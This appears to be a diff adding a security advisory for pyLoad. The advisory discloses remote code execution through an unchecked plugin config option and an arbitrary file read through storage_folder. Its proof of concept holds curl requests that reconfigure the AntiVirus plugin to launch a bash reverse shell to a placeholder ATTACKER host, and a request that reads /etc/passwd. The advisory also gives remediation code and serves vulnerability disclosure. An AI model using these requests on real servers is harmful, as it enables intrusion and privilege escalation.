+ "details": "### Summary\n\nThe `ADMIN_ONLY_OPTIONS` protection mechanism restricts security-critical configuration values (reconnect scripts, SSL certs, proxy credentials) to admin-only access. However, this protection is **only applied to core config options**, not to plugin config options. The `AntiVirus` plugin stores an executable path (`avfile`) in its config, which is passed directly to `subprocess.Popen()`. A non-admin user with SETTINGS permission can change this path to achieve remote code execution.\n\n### Details\n\n**Safe wrapper — `ADMIN_ONLY_OPTIONS` (core/api/__init__.py:225-235):**\n\n```python\nADMIN_ONLY_OPTIONS = {\n \"reconnect.script\", # Blocks script path change\n \"webui.host\", # Blocks bind address change\n \"ssl.cert_file\", # Blocks cert path change\n \"ssl.key_file\", # Blocks key path change\n # ... other sensitive options\n}\n```\n\n**Where it IS enforced — core config (core/api/__init__.py:255):**\n\n```python\ndef set_config_value(self, section, option, value):\n if f\"{section}.{option}\" in ADMIN_ONLY_OPTIONS:\n if not self.user.is_admin:\n raise PermissionError(\"Admin only\")\n # ...\n```\n\n**Where it is NOT enforced — plugin config (core/api/__init__.py:271-272):**\n\n```python\n # Plugin config - NO admin check at all\n self.pyload.config.set_plugin(category, option, value)\n```\n\n**Dangerous sink — AntiVirus plugin (plugins/addons/AntiVirus.py:75):**\n\n```python\ndef scan_file(self, file):\n avfile = self.config.get(\"avfile\") # User-controlled via plugin config\n avargs = self.config.get(\"avargs\")\n subprocess.Popen([avfile, avargs, target]) # RCE\n```\n\n### PoC\n\n```bash\n# As non-admin user with SETTINGS permission:\n\n# 1. Set AntiVirus executable to a reverse shell\ncurl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \\\n -d 'section=plugin' \\\n -d 'option=AntiVirus.avfile' \\\n -d 'value=/bin/bash'\n\ncurl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \\\n -d 'section=plugin' \\\n -d 'option=AntiVirus.avargs' \\\n -d 'value=-c \"bash -i >& /dev/tcp/ATTACKER/4444 0>&1\"'\n\n# 2. Enable the AntiVirus plugin\ncurl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \\\n -d 'section=plugin' \\\n -d 'option=AntiVirus.activated' \\\n -d 'value=True'\n\n# 3. Add a download - when it completes, AntiVirus.scan_file() runs the payload\ncurl -b session_cookie -X POST http://TARGET:8000/api/add_package \\\n -d 'name=test' \\\n -d 'links=http://example.com/test.zip'\n\n# Result: reverse shell as the pyload process user\n```\n\n### Additional Finding: Arbitrary File Read via storage_folder\n\nThe `storage_folder` validation at `core/api/__init__.py:238-246` uses inverted logic — it prevents the new value from being INSIDE protected directories, but not from being an ANCESTOR of everything. Setting `storage_folder=/` combined with `GET /files/get/etc/passwd` gives arbitrary file read to non-admin users with SETTINGS+DOWNLOAD permissions.\n\n### Impact\n\n- **Remote Code Execution** — Non-admin user can execute arbitrary commands via AntiVirus plugin config\n- **Privilege escalation** — SETTINGS permission (non-admin) escalates to full system access\n- **Arbitrary file read** — Via storage_folder manipulation\n\n### Remediation\n\nApply `ADMIN_ONLY_OPTIONS` to plugin config as well:\n\n```python\n# In set_config_value():\nADMIN_ONLY_PLUGIN_OPTIONS = {\n \"AntiVirus.avfile\",\n \"AntiVirus.avargs\",\n # ... any plugin option that controls executables or paths\n}\n\nif section == \"plugin\" and option in ADMIN_ONLY_PLUGIN_OPTIONS:\n if not self.user.is_admin:\n raise PermissionError(\"Admin only\")\n```\n\nOr better: validate that `avfile` points to a known AV binary before passing to `subprocess.Popen()`.",
0 commit comments